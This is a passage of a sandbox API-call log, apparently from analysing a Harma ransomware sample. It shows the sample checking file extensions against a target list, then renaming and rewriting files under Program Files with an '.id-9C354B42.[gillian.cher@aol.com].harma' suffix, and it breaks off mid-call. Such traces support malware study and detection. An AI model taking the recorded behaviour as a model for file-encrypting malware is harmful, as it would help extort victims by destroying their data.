lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0064.659] lstrlenW (lpString=".ppt") returned 4 [0064.659] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0064.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.659] lstrlenW (lpString=".zip") returned 4 [0064.659] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0064.659] lstrlenW (lpString=".rar") returned 4 [0064.659] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0064.659] lstrlenW (lpString=".bz2") returned 4 [0064.659] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0064.659] lstrlenW (lpString=".7z") returned 3 [0064.659] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0064.659] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.659] lstrlenW (lpString=".dbf") returned 4 [0064.660] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0064.660] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.660] lstrlenW (lpString=".1cd") returned 4 [0064.660] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0064.660] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0064.660] lstrlenW (lpString=".jpg") returned 4 [0064.660] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0064.660] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0064.660] lstrlenW (lpString="BabyBoyMainBackground_PAL.wmv") returned 29 [0064.660] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0064.660] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=325322) returned 1 [0064.661] CloseHandle (hObject=0x21c) returned 1 [0064.661] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv")) returned 0x20 [0064.661] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.661] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.661] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.661] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.661] lstrlenW (lpString=".doc") returned 4 [0064.661] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0064.661] lstrlenW (lpString=".docx") returned 5 [0064.661] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0064.661] lstrlenW (lpString=".pdf") returned 4 [0064.661] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0064.661] lstrlenW (lpString=".xls") returned 4 [0064.661] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0064.661] lstrlenW (lpString=".xlsx") returned 5 [0064.661] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0064.661] lstrlenW (lpString=".ppt") returned 4 [0064.661] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0064.661] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.661] lstrlenW (lpString=".zip") returned 4 [0064.662] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0064.662] lstrlenW (lpString=".rar") returned 4 [0064.662] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0064.662] lstrlenW (lpString=".bz2") returned 4 [0064.662] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0064.662] lstrlenW (lpString=".7z") returned 3 [0064.662] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0064.662] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.662] lstrlenW (lpString=".dbf") returned 4 [0064.662] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0064.662] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.662] lstrlenW (lpString=".1cd") returned 4 [0064.662] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0064.662] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.662] lstrlenW (lpString=".jpg") returned 4 [0064.662] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0064.662] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.662] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.662] lstrlenW (lpString=".doc") returned 4 [0064.662] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0064.662] lstrlenW (lpString=".docx") returned 5 [0064.662] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0064.662] lstrlenW (lpString=".pdf") returned 4 [0064.662] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0064.662] lstrlenW (lpString=".xls") returned 4 [0064.662] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0064.662] lstrlenW (lpString=".xlsx") returned 5 [0064.663] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0064.663] lstrlenW (lpString=".ppt") returned 4 [0064.663] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0064.663] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.663] lstrlenW (lpString=".zip") returned 4 [0064.663] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0064.663] lstrlenW (lpString=".rar") returned 4 [0064.663] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0064.663] lstrlenW (lpString=".bz2") returned 4 [0064.663] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0064.663] lstrlenW (lpString=".7z") returned 3 [0064.663] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0064.663] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.663] lstrlenW (lpString=".dbf") returned 4 [0064.663] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0064.663] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.663] lstrlenW (lpString=".1cd") returned 4 [0064.663] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0064.663] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv") returned 81 [0064.663] lstrlenW (lpString=".jpg") returned 4 [0064.663] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0064.664] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0064.664] lstrlenW (lpString="BabyBoyMainToNotesBackground.wmv") returned 32 [0064.664] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0064.664] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=141214) returned 1 [0064.664] CloseHandle (hObject=0x21c) returned 1 [0064.664] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0064.664] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.664] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.664] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.665] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.665] lstrlenW (lpString=".doc") returned 4 [0064.665] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0064.665] lstrlenW (lpString=".docx") returned 5 [0064.665] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0064.665] lstrlenW (lpString=".pdf") returned 4 [0064.665] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0064.665] lstrlenW (lpString=".xls") returned 4 [0064.665] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0064.665] lstrlenW (lpString=".xlsx") returned 5 [0064.665] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0064.665] lstrlenW (lpString=".ppt") returned 4 [0064.665] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0064.665] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.665] lstrlenW (lpString=".zip") returned 4 [0064.665] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0064.665] lstrlenW (lpString=".rar") returned 4 [0064.665] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0064.665] lstrlenW (lpString=".bz2") returned 4 [0064.665] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0064.665] lstrlenW (lpString=".7z") returned 3 [0064.665] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0064.665] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.665] lstrlenW (lpString=".dbf") returned 4 [0064.665] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0064.665] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.665] lstrlenW (lpString=".1cd") returned 4 [0064.665] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0064.665] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.665] lstrlenW (lpString=".jpg") returned 4 [0064.665] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0064.665] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.666] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.666] lstrlenW (lpString=".doc") returned 4 [0064.666] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0064.666] lstrlenW (lpString=".docx") returned 5 [0064.666] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0064.666] lstrlenW (lpString=".pdf") returned 4 [0064.666] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0064.666] lstrlenW (lpString=".xls") returned 4 [0064.666] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0064.666] lstrlenW (lpString=".xlsx") returned 5 [0064.666] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0064.666] lstrlenW (lpString=".ppt") returned 4 [0064.666] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0064.666] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.666] lstrlenW (lpString=".zip") returned 4 [0064.666] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0064.666] lstrlenW (lpString=".rar") returned 4 [0064.666] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0064.666] lstrlenW (lpString=".bz2") returned 4 [0064.666] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0064.666] lstrlenW (lpString=".7z") returned 3 [0064.666] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0064.666] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.666] lstrlenW (lpString=".dbf") returned 4 [0064.666] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0064.666] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.666] lstrlenW (lpString=".1cd") returned 4 [0064.666] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0064.666] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0064.666] lstrlenW (lpString=".jpg") returned 4 [0064.666] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0064.667] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0064.667] lstrlenW (lpString="BabyBoyMainToNotesBackground_PAL.wmv") returned 36 [0064.667] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0064.667] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=157214) returned 1 [0064.667] CloseHandle (hObject=0x21c) returned 1 [0064.667] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0064.667] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.667] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.667] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.667] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.667] lstrlenW (lpString=".doc") returned 4 [0064.667] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0064.667] lstrlenW (lpString=".docx") returned 5 [0064.667] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0064.668] lstrlenW (lpString=".pdf") returned 4 [0064.668] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0064.668] lstrlenW (lpString=".xls") returned 4 [0064.668] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0064.668] lstrlenW (lpString=".xlsx") returned 5 [0064.668] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0064.668] lstrlenW (lpString=".ppt") returned 4 [0064.668] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0064.668] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.668] lstrlenW (lpString=".zip") returned 4 [0064.668] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0064.668] lstrlenW (lpString=".rar") returned 4 [0064.668] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0064.668] lstrlenW (lpString=".bz2") returned 4 [0064.668] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0064.668] lstrlenW (lpString=".7z") returned 3 [0064.668] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0064.668] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.668] lstrlenW (lpString=".dbf") returned 4 [0064.668] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0064.668] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.668] lstrlenW (lpString=".1cd") returned 4 [0064.668] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0064.668] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.668] lstrlenW (lpString=".jpg") returned 4 [0064.668] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0064.668] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.668] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.668] lstrlenW (lpString=".doc") returned 4 [0064.668] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0064.668] lstrlenW (lpString=".docx") returned 5 [0064.668] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0064.669] lstrlenW (lpString=".pdf") returned 4 [0064.669] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0064.669] lstrlenW (lpString=".xls") returned 4 [0064.669] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0064.669] lstrlenW (lpString=".xlsx") returned 5 [0064.669] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0064.669] lstrlenW (lpString=".ppt") returned 4 [0064.669] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0064.669] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.669] lstrlenW (lpString=".zip") returned 4 [0064.669] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0064.669] lstrlenW (lpString=".rar") returned 4 [0064.669] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0064.669] lstrlenW (lpString=".bz2") returned 4 [0064.669] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0064.669] lstrlenW (lpString=".7z") returned 3 [0064.669] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0064.669] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.669] lstrlenW (lpString=".dbf") returned 4 [0064.669] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0064.669] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.669] lstrlenW (lpString=".1cd") returned 4 [0064.669] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0064.669] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0064.669] lstrlenW (lpString=".jpg") returned 4 [0064.669] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0064.669] lstrcmpiW (lpString1=".wmv", lpString2=".harma") returned 1 [0064.669] lstrlenW (lpString="BabyBoyMainToScenesBackground.wmv") returned 33 [0064.670] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0064.670] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=117214) returned 1 [0064.670] CloseHandle (hObject=0x21c) returned 1 [0064.670] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0064.671] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0064.671] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.671] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0064.671] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0064.671] lstrlenW (lpString=".doc") returned 4 [0064.671] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0064.671] lstrlenW (lpString=".docx") returned 5 [0064.671] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0064.671] lstrlenW (lpString=".pdf") returned 4 [0064.671] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0064.671] lstrlenW (lpString=".xls") returned 4 [0064.671] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0064.671] lstrlenW (lpString=".xlsx") returned 5 [0064.671] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0064.671] lstrlenW (lpString=".ppt") returned 4 [0064.671] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0064.671] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0064.671] lstrlenW (lpString=".zip") returned 4 [0064.671] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0064.671] lstrlenW (lpString=".rar") returned 4 [0064.672] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0064.672] lstrlenW (lpString=".bz2") returned 4 [0064.672] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0064.672] lstrlenW (lpString=".7z") returned 3 [0064.672] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0064.672] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0064.672] lstrlenW (lpString=".dbf") returned 4 [0064.672] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0065.913] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0066.055] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.055] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0066.056] GetLastError () returned 0x0 [0066.056] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x2340, lpOverlapped=0x0) returned 1 [0066.059] WriteFile (in: hFile=0x218, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: 